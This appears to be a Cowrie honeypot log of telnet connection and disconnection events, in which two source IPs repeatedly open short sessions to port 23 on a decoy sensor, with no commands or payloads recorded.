{"eventid":"cowrie.session.closed","duration":30.934083938598633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.100640Z","src_ip":"208.115.219.122","session":"fcab65c67da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812108278274536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.130676Z","src_ip":"208.115.200.90","session":"59446836af88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39692,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5d98f783f6","protocol":"telnet","message":"New connection: 208.115.200.90:39692 (10.17.0.5:23) [session: 3f5d98f783f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.208734Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39282,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ffef47033f7","protocol":"telnet","message":"New connection: 208.115.200.90:39282 (10.17.0.5:23) [session: 2ffef47033f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.225885Z"}
{"eventid":"cowrie.session.closed","duration":31.245447874069214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.330874Z","src_ip":"208.115.200.90","session":"87e915f59047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e45c4d7ae4f","protocol":"telnet","message":"New connection: 208.115.219.122:57610 (10.17.0.5:23) [session: 6e45c4d7ae4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.335768Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39790,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b74b65fc93","protocol":"telnet","message":"New connection: 208.115.200.90:39790 (10.17.0.5:23) [session: 37b74b65fc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.401323Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4dfa2dc0273","protocol":"telnet","message":"New connection: 208.115.200.90:39796 (10.17.0.5:23) [session: b4dfa2dc0273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.405419Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b78157b1ea","protocol":"telnet","message":"New connection: 208.115.200.90:39838 (10.17.0.5:23) [session: a0b78157b1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.450050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c852f16777ff","protocol":"telnet","message":"New connection: 208.115.200.90:39858 (10.17.0.5:23) [session: c852f16777ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.482862Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57488,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d98ba2152f","protocol":"telnet","message":"New connection: 208.115.219.122:57488 (10.17.0.5:23) [session: a7d98ba2152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.489713Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3145a21f2775","protocol":"telnet","message":"New connection: 208.115.200.90:39956 (10.17.0.5:23) [session: 3145a21f2775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.644834Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57652,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5416c98a2a","protocol":"telnet","message":"New connection: 208.115.219.122:57652 (10.17.0.5:23) [session: fd5416c98a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.695124Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a34fd6d3e6fb","protocol":"telnet","message":"New connection: 208.115.219.122:57530 (10.17.0.5:23) [session: a34fd6d3e6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.931483Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39666,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b564e46f416","protocol":"telnet","message":"New connection: 208.115.200.90:39666 (10.17.0.5:23) [session: 0b564e46f416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:37.999346Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d6fcbc1737","protocol":"telnet","message":"New connection: 208.115.200.90:39984 (10.17.0.5:23) [session: a1d6fcbc1737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.042760Z"}
{"eventid":"cowrie.session.closed","duration":30.580222368240356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.047132Z","src_ip":"208.115.219.122","session":"919beb727548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47594904899597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.073695Z","src_ip":"208.115.200.90","session":"563ce6ff2761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aac4ff8fded","protocol":"telnet","message":"New connection: 208.115.219.122:57654 (10.17.0.5:23) [session: 7aac4ff8fded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.089445Z"}
{"eventid":"cowrie.session.closed","duration":30.97312879562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.120341Z","src_ip":"208.115.200.90","session":"e002ae553075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"d63be3f9d41a","protocol":"telnet","message":"New connection: 208.115.200.90:39998 (10.17.0.5:23) [session: d63be3f9d41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.137784Z"}
{"eventid":"cowrie.session.closed","duration":30.972498416900635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.144584Z","src_ip":"208.115.219.122","session":"ff75d27fe16b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872413158416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.162637Z","src_ip":"208.115.200.90","session":"47a491639c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40006,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5266c3be35","protocol":"telnet","message":"New connection: 208.115.200.90:40006 (10.17.0.5:23) [session: 1a5266c3be35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.166891Z"}
{"eventid":"cowrie.session.closed","duration":30.98840093612671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.182434Z","src_ip":"208.115.200.90","session":"02ae0d066a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724186897277832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.199441Z","src_ip":"208.115.219.122","session":"df6affda596e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a405104c6fba","protocol":"telnet","message":"New connection: 208.115.219.122:57664 (10.17.0.5:23) [session: a405104c6fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.216801Z"}
{"eventid":"cowrie.session.closed","duration":30.926349401474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.267474Z","src_ip":"208.115.200.90","session":"6f10a7b64694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40072,"dst_ip":"10.17.0.5","dst_port":23,"session":"28793980c0da","protocol":"telnet","message":"New connection: 208.115.200.90:40072 (10.17.0.5:23) [session: 28793980c0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.296560Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40074,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd228b0a9633","protocol":"telnet","message":"New connection: 208.115.200.90:40074 (10.17.0.5:23) [session: dd228b0a9633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.302304Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2aea2b3399e","protocol":"telnet","message":"New connection: 208.115.200.90:40108 (10.17.0.5:23) [session: d2aea2b3399e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.355430Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40110,"dst_ip":"10.17.0.5","dst_port":23,"session":"beaeb4d81483","protocol":"telnet","message":"New connection: 208.115.200.90:40110 (10.17.0.5:23) [session: beaeb4d81483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.395451Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d288fe706a99","protocol":"telnet","message":"New connection: 208.115.200.90:40162 (10.17.0.5:23) [session: d288fe706a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.482169Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b428056c21","protocol":"telnet","message":"New connection: 208.115.200.90:40212 (10.17.0.5:23) [session: a5b428056c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.593277Z"}
{"eventid":"cowrie.session.closed","duration":31.779523134231567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.865477Z","src_ip":"208.115.200.90","session":"2c9558d8077a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.731465101242065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.912658Z","src_ip":"208.115.200.90","session":"b522fe9becc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57804,"dst_ip":"10.17.0.5","dst_port":23,"session":"45725aea8b3a","protocol":"telnet","message":"New connection: 208.115.219.122:57804 (10.17.0.5:23) [session: 45725aea8b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:38.918711Z"}
{"eventid":"cowrie.session.closed","duration":30.859589099884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.017488Z","src_ip":"208.115.219.122","session":"88a7694d47b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692778825759888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.023576Z","src_ip":"208.115.219.122","session":"21db1197eee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97285556793213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.034028Z","src_ip":"208.115.219.122","session":"e7f6cb16f1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657984495162964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.039870Z","src_ip":"208.115.219.122","session":"e56b49478793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58336567878723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.043406Z","src_ip":"208.115.219.122","session":"02826e62f60b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404298543930054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.050711Z","src_ip":"208.115.219.122","session":"330651c4a93f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996551990509033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.081466Z","src_ip":"208.115.219.122","session":"3b3e08231c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7506e8673a3e","protocol":"telnet","message":"New connection: 208.115.200.90:40386 (10.17.0.5:23) [session: 7506e8673a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.118282Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e73a8ea6a33","protocol":"telnet","message":"New connection: 208.115.200.90:40428 (10.17.0.5:23) [session: 9e73a8ea6a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.176846Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa355258fa98","protocol":"telnet","message":"New connection: 208.115.200.90:40440 (10.17.0.5:23) [session: fa355258fa98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.299262Z"}
{"eventid":"cowrie.session.closed","duration":30.72804307937622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.314338Z","src_ip":"208.115.200.90","session":"01da198805b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40478,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c3d296d2a5","protocol":"telnet","message":"New connection: 208.115.200.90:40478 (10.17.0.5:23) [session: d8c3d296d2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.377731Z"}
{"eventid":"cowrie.session.closed","duration":31.404602766036987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.446702Z","src_ip":"208.115.200.90","session":"c322b38f6c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209784030914307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.488293Z","src_ip":"208.115.200.90","session":"582256a3e046","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57461929321289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:39.725792Z","src_ip":"208.115.200.90","session":"329d145bc5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97764778137207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.026580Z","src_ip":"208.115.219.122","session":"87ac1cb5b4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809577703475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.041259Z","src_ip":"208.115.219.122","session":"810aaf0bedf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d973a884cef","protocol":"telnet","message":"New connection: 208.115.219.122:57552 (10.17.0.5:23) [session: 7d973a884cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.046672Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40746,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72c605133a5","protocol":"telnet","message":"New connection: 208.115.200.90:40746 (10.17.0.5:23) [session: b72c605133a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.112288Z"}
{"eventid":"cowrie.session.closed","duration":31.022605180740356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.149669Z","src_ip":"208.115.200.90","session":"8c79d402ef36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75093960762024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.155217Z","src_ip":"208.115.200.90","session":"cb30883b1dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40792,"dst_ip":"10.17.0.5","dst_port":23,"session":"8975443cf99f","protocol":"telnet","message":"New connection: 208.115.200.90:40792 (10.17.0.5:23) [session: 8975443cf99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.193072Z"}
{"eventid":"cowrie.session.closed","duration":31.045660495758057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.219840Z","src_ip":"208.115.219.122","session":"e2bfa9ec6241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972168922424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.241128Z","src_ip":"208.115.200.90","session":"6371e9a0dff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656034469604492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.246186Z","src_ip":"208.115.200.90","session":"b187b785befb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58040,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a2460dc1ab","protocol":"telnet","message":"New connection: 208.115.219.122:58040 (10.17.0.5:23) [session: 19a2460dc1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.279965Z"}
{"eventid":"cowrie.session.closed","duration":30.831896781921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.286767Z","src_ip":"208.115.200.90","session":"04de9c19135c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.047001838684082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.376910Z","src_ip":"208.115.200.90","session":"0136fedca076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100499629974365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.423917Z","src_ip":"208.115.200.90","session":"24086f531d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41112,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdd85b05ccf","protocol":"telnet","message":"New connection: 208.115.200.90:41112 (10.17.0.5:23) [session: 7cdd85b05ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.700555Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0bc0c2bb3ff","protocol":"telnet","message":"New connection: 208.115.219.122:58272 (10.17.0.5:23) [session: f0bc0c2bb3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:40.804103Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"6245a62b667f","protocol":"telnet","message":"New connection: 208.115.200.90:40712 (10.17.0.5:23) [session: 6245a62b667f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.002163Z"}
{"eventid":"cowrie.session.closed","duration":30.490384578704834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.072557Z","src_ip":"208.115.219.122","session":"7b7079a35a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58356,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1140bcd4b3","protocol":"telnet","message":"New connection: 208.115.219.122:58356 (10.17.0.5:23) [session: dd1140bcd4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.114884Z"}
{"eventid":"cowrie.session.closed","duration":30.348167419433594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.120952Z","src_ip":"208.115.219.122","session":"3fa2923d3709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58366,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e70d29e6ff","protocol":"telnet","message":"New connection: 208.115.219.122:58366 (10.17.0.5:23) [session: 78e70d29e6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.125169Z"}
{"eventid":"cowrie.session.closed","duration":30.74369764328003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.153138Z","src_ip":"208.115.200.90","session":"e9bd8144f69f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850109100341797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.197156Z","src_ip":"208.115.200.90","session":"fb9d6cf18e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.239549160003662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.206913Z","src_ip":"208.115.200.90","session":"edcbf3301c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58402,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eea4d751f60","protocol":"telnet","message":"New connection: 208.115.219.122:58402 (10.17.0.5:23) [session: 4eea4d751f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.241543Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41238,"dst_ip":"10.17.0.5","dst_port":23,"session":"574a0c9f7976","protocol":"telnet","message":"New connection: 208.115.200.90:41238 (10.17.0.5:23) [session: 574a0c9f7976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.265873Z"}
{"eventid":"cowrie.session.closed","duration":31.209686756134033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.300467Z","src_ip":"208.115.200.90","session":"8f2bff965a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75543236732483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.404999Z","src_ip":"208.115.200.90","session":"914d137f475d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32745862007141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.561566Z","src_ip":"208.115.200.90","session":"b2e2f2e1b116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56206202507019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:41.829515Z","src_ip":"208.115.200.90","session":"700af72beb51","protocol":"telnet"}
